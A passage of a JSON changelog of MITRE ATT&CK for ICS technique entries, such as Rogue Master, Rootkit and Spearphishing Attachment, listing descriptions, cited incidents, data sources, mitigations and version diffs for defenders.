"attack-pattern", "id": "attack-pattern--2fedbe69-581f-447d-8a78-32ee7db939a9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-13 12:45:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Remote System Information Discovery", "description": "An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system\u2019s operational role and model information can dictate whether it is a relevant target for the adversary\u2019s operational objectives. In addition, the system\u2019s configuration may be used to scope subsequent technique usage. Requests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system\u2019s API.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "discovery-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0888", "external_id": "T0888" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content" ], "x_mitre_platforms": [ "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-13 12:45:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Packet capture\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0814: Static Network Configuration", "M0930: Network Segmentation", "M0931: Network Intrusion Prevention", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c267bbee-bb59-47fe-85e0-3ed210337c21", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Replication Through Removable Media", "description": "Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. \n\nOperators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0847", "external_id": "T0847" }, { "source_name": "KGG-Company-Site", "description": "Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von B\u00fcro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019.", "url": "https://www.kkw-gundremmingen.de/presse.php?id=571" }, { "source_name": "KGG-Softpedia", "description": "Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019.", "url": "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml" }, { "source_name": "KGG-Reuters", "description": "Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019.", "url": "https://www.reuters.com/article/us-nuclearpower-cyber-germany/german-nuclear-plant-infected-with-computer-viruses-operator-says-idUSKCN0XN2OS" }, { "source_name": "KGG-Science-Alert", "description": "Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019.", "url": "https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant" }, { "source_name": "KGG-ESET", "description": "ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019.", "url": "https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/" }, { "source_name": "KGG-Geek", "description": "Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019.", "url": "https://www.geek.com/apps/german-nuclear-plant-found-riddled-with-conficker-other-viruses-1653415/" }, { "source_name": "KGG-Trend Micro", "description": "Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019.", "url": "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant" }, { "source_name": "KGG-BBC", "description": "BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019.", "url": "https://www.bbc.com/news/technology-36158606" }, { "source_name": "KGG-Ars", "description": "Sean Gallagher. (2016, April 27). German nuclear plant\u2019s fuel rod system swarming with old malware. Retrieved October 14, 2019.", "url": "https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/" }, { "source_name": "KGG-Dark", "description": "Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019.", "url": "https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Drive: Drive Creation", "File: File Access", "File: File Creation", "Process: Process Creation" ], "x_mitre_platforms": [ "Human-Machine Interface", "Data Historian", "Control Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Drive: Drive Creation\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Access\", \"old_value\": \"Data loss prevention\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][2]\": \"File: File Creation\", \"root['x_mitre_data_sources'][3]\": \"Process: Process Creation\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0928: Operating System Configuration", "M0934: Limit Hardware Installation", "M0942: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b14395bd-5419-4ef4-9bd8-696936f509bb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Rogue Master", "description": "Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection. In the Maroochy Attack, Vitek Boden falsified network addresses in order to send false data and instructions to pumping stations. In the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0848", "external_id": "T0848" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Application Log: Application Log Content", "Operational Databases: Process/Event Alarm" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 19:26:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Asset management\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Network protocol analysis\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Operational Databases: Process/Event Alarm\", \"old_value\": \"Packet capture\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0802: Communication Authenticity", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3b6b9246-43f8-4c69-ad7a-2b11cfe0a0d9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Rootkit", "description": "Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: EAttack Rootkit) \n\nFirmware rootkits that affect the operating system yield nearly full control of the system. While firmware rootkits are normally developed for the main processing board, they can also be developed for I/O that can be attached to the asset. Compromise of this firmware allows the modification of all of the process variables and functions the module engages in. This may result in commands being disregarded and false information being fed to the main device. By tampering with device processes, an adversary may inhibit its expected response functions and possibly enable Impact.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR.Reference - Rootkit", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "evasion-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0851", "external_id": "T0851" }, { "source_name": "EAttack Rootkit", "description": "Enterprise ATT&CK. (2018, January 11). Rootkit. Retrieved May 16, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1014" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Drive: Drive Modification", "Firmware: Firmware Modification", "Module: Module Load" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Drive: Drive Modification\", \"old_value\": \"Controller program\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][1]\": \"Firmware: Firmware Modification\", \"root['x_mitre_data_sources'][2]\": \"Module: Module Load\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0945: Code Signing", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c5e3cdbc-0387-4be9-8f83-ff5c0865f377", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Screen Capture", "description": "Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0852", "external_id": "T0852" }, { "source_name": "Alert - Russian APT TA18-074A - 201803", "description": "ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_platforms": [ "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"API monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Process: OS API Execution\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"File monitoring\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0816: Mitigation Limited or Not Effective" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2dc2b567-8821-49f9-9045-8740f3d0b958", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Scripting", "description": "Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. \n\nIn addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0853", "external_id": "T0853" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Module: Module Load", "Process: Process Creation", "Script: Script Execution" ], "x_mitre_platforms": [ "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Module: Module Load\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][3]\": \"Script: Script Execution\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0938: Execution Prevention", "M0942: Disable or Remove Feature or Program", "M0948: Application Isolation and Sandboxing" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--063b5b92-5361-481a-9c3f-95492ed9a2d8", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Service Stop", "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: EAttack Service Stop)\n\nServices may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: EAttack Service Stop)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "inhibit-response-function" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0881", "external_id": "T0881" }, { "source_name": "EAttack Service Stop", "description": "Enterprise ATT&CK. (n.d.). Service Stop. Retrieved October 29, 2019.", "url": "https://attack.mitre.org/techniques/T1489/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Modification", "Process: OS API Execution", "Process: Process Creation", "Process: Process Termination", "Service: Service Metadata", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Data Historian", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 16:23:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Process: OS API Execution\", \"old_value\": \"API monitoring\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Windows Registry\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][4]\": \"Process: Process Termination\", \"root['x_mitre_data_sources'][5]\": \"Service: Service Metadata\", \"root['x_mitre_data_sources'][6]\": \"Windows Registry: Windows Registry Key Modification\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0918: User Account Management", "M0922: Restrict File and Directory Permissions", "M0924: Restrict Registry Permissions", "M0930: Network Segmentation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--648f995e-9c3a-41e4-aeee-98bb41037426", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Spearphishing Attachment", "description": "Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0865", "external_id": "T0865" }, { "source_name": "EAttack Spearphishing Attachment", "description": "Enterprise ATT&CK. (2019, October 25). Spearphishing Attachment. Retrieved October 25, 2019.", "url": "https://attack.mitre.org/techniques/T1193/" }, { "source_name": "CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021", "description": "ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.", "url": "https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Engineering Workstation", "Human-Machine Interface", "Control Server", "Data Historian" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment) A Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012, targeted ONG organizations and their employees. The emails were constructed with a high level of sophistication to convince employees to open the malicious file attachments.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)\", \"old_value\": \"Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution and access. (Citation: EAttack Spearphishing Attachment)\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"File monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Packet capture\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021\", \"description\": \"ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.\", \"url\": \"https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Network intrusion detection system\", \"root['x_mitre_data_sources'][3]\": \"Detonation chamber\", \"root['x_mitre_data_sources'][4]\": \"Email gateway\", \"root['x_mitre_data_sources'][5]\": \"Mail server\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use a spearphishing attachment, a variant oft1Adversaries may use a spearphishing attachment, a variant of
> spearphishing, as a form of a social engineering attack aga> spearphishing, as a form of a social engineering attack aga
>inst specific targets. Spearphishing attachments are differe>inst specific targets. Spearphishing attachments are differe
>nt from other forms of spearphishing in that they employ mal>nt from other forms of spearphishing in that they employ mal
>ware attached to an email. All forms of spearphishing are el>ware attached to an email. All forms of spearphishing are el
>ectronically delivered and target a specific individual, com>ectronically delivered and target a specific individual, com
>pany, or industry. In this scenario, adversaries attach a fi>pany, or industry. In this scenario, adversaries attach a fi
>le to the spearphishing email and usually rely upon User Exe>le to the spearphishing email and usually rely upon User Exe
>cution to gain execution and access. (Citation: EAttack Spea>cution to gain execution and access. (Citation: EAttack Spea
>rphishing Attachment)>rphishing Attachment) A Chinese spearphishing campaign runni
 >ng from December 9, 2011 through February 29, 2012, targeted
 > ONG organizations and their employees. The emails were cons
 >tructed with a high level of sophistication to convince empl
 >oyees to open the malicious file attachments.(Citation: CISA
 > Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)
", "changelog_mitigations": { "shared": [ "M0917: User Training", "M0921: Restrict Web-Based Content", "M0931: Network Intrusion Prevention", "M0949: Antivirus/Antimalware" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--8535b71e-3c12-4258-a4ab-40257a1becc4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Spoof Reporting Message", "description": "Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control. \n\nIf an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)\n\nIn the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "evasion-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "impair-process-control" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0856", "external_id": "T0856" }, { "source_name": "Research - Research - Taxonomy Cyber Attacks on SCADA", "description": "Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.", "url": "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258" }, { "source_name": "Maroochy - MITRE - 200808", "description": "Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study\u2013 Maroochy Water Services, Australia. Retrieved March 27, 2018.", "url": "https://www.mitre.org/sites/default/files/pdf/08%201145.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content" ], "x_mitre_platforms": [ "Control Server" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Alarm History\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0802: Communication Authenticity", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e076cca8-2f08-45c9-aff7-ea5ac798b387", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Standard Application Layer Protocol", "description": "Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port.\n\nAdversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "command-and-control-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0869", "external_id": "T0869" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Data Historian", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Flow\", \"old_value\": \"Process use of network\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Malware reverse engineering\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Process monitoring\", \"root['x_mitre_data_sources'][3]\": \"Network protocol analysis\", \"root['x_mitre_data_sources'][4]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": 